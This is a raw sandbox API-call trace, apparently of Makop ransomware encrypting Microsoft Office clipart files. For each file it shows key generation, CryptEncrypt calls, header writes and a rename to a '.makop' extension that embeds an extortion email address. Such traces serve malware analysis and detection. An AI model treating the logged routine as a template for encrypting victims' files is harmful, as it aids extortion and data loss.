[0108.770] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.770] GetProcessHeap () returned 0x48a0000 [0108.770] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0108.770] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0108.770] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.771] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0108.771] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0108.771] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0108.771] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0108.771] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0108.771] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0108.771] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.772] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.772] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.772] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5b8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5b8, lpOverlapped=0x0) returned 1 [0108.772] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5c0, dwBufLen=0x5c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5c0) returned 1 [0108.772] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.772] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5c0, lpOverlapped=0x0) returned 1 [0108.772] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.772] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.772] SetEndOfFile (hFile=0xf0) returned 1 [0108.779] GetProcessHeap () returned 0x48a0000 [0108.780] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0108.780] GetProcessHeap () returned 0x48a0000 [0108.780] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0108.780] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0108.780] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0108.781] CloseHandle (hObject=0xf0) returned 1 [0108.781] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83c58200, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83c58200, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x6a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00148_.WMF", cAlternateFileName="")) returned 1 [0108.781] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0108.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0108.782] GetProcessHeap () returned 0x48a0000 [0108.782] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0108.782] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0108.782] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0108.782] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.783] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.783] GetProcessHeap () returned 0x48a0000 [0108.783] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0108.783] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0108.783] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.783] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0108.788] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0108.788] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0108.788] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0108.788] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0108.789] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0108.789] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.789] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.789] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.789] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6a0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6a0, lpOverlapped=0x0) returned 1 [0108.789] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6a0, dwBufLen=0x6a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6a0) returned 1 [0108.789] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.790] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6a0, lpOverlapped=0x0) returned 1 [0108.790] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.790] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x774, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.790] SetEndOfFile (hFile=0xf0) returned 1 [0108.796] GetProcessHeap () returned 0x48a0000 [0108.796] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0108.796] GetProcessHeap () returned 0x48a0000 [0108.796] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0108.796] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0108.797] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0108.798] CloseHandle (hObject=0xf0) returned 1 [0108.798] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82945500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82945500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x5ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00152_.WMF", cAlternateFileName="")) returned 1 [0108.798] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0108.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0108.799] GetProcessHeap () returned 0x48a0000 [0108.799] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0108.799] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0108.799] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0108.799] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0108.803] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.804] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.804] GetProcessHeap () returned 0x48a0000 [0108.804] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0108.804] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0108.804] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.804] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0108.804] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0108.804] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0108.804] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0108.805] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0108.805] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0108.805] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.805] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.805] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.805] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5ec, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5ec, lpOverlapped=0x0) returned 1 [0108.805] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5f0, dwBufLen=0x5f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5f0) returned 1 [0108.805] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.806] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5f0, lpOverlapped=0x0) returned 1 [0108.806] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.806] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.806] SetEndOfFile (hFile=0xf0) returned 1 [0108.812] GetProcessHeap () returned 0x48a0000 [0108.813] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0108.813] GetProcessHeap () returned 0x48a0000 [0108.813] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0108.813] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0108.813] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0108.814] CloseHandle (hObject=0xf0) returned 1 [0108.815] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a72500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95a72500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0xf92, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00194_.WMF", cAlternateFileName="")) returned 1 [0108.815] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0108.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0108.815] GetProcessHeap () returned 0x48a0000 [0108.815] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0108.815] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0108.816] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0108.816] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0108.820] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.820] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.820] GetProcessHeap () returned 0x48a0000 [0108.820] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0108.820] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0108.820] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.820] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0108.821] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0108.821] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0108.821] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0108.821] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0108.821] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0108.822] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.822] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.822] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.822] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xf92, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xf92, lpOverlapped=0x0) returned 1 [0108.822] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xfa0, dwBufLen=0xfa0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xfa0) returned 1 [0108.822] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.823] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xfa0, lpOverlapped=0x0) returned 1 [0108.823] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.823] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1074, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.823] SetEndOfFile (hFile=0xf0) returned 1 [0108.829] GetProcessHeap () returned 0x48a0000 [0108.830] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0108.830] GetProcessHeap () returned 0x48a0000 [0108.830] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0108.830] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0108.830] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0108.831] CloseHandle (hObject=0xf0) returned 1 [0108.832] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81632800, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81632800, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1f86, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00195_.WMF", cAlternateFileName="")) returned 1 [0108.832] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0108.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0108.834] GetProcessHeap () returned 0x48a0000 [0108.834] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0108.834] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0108.834] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, 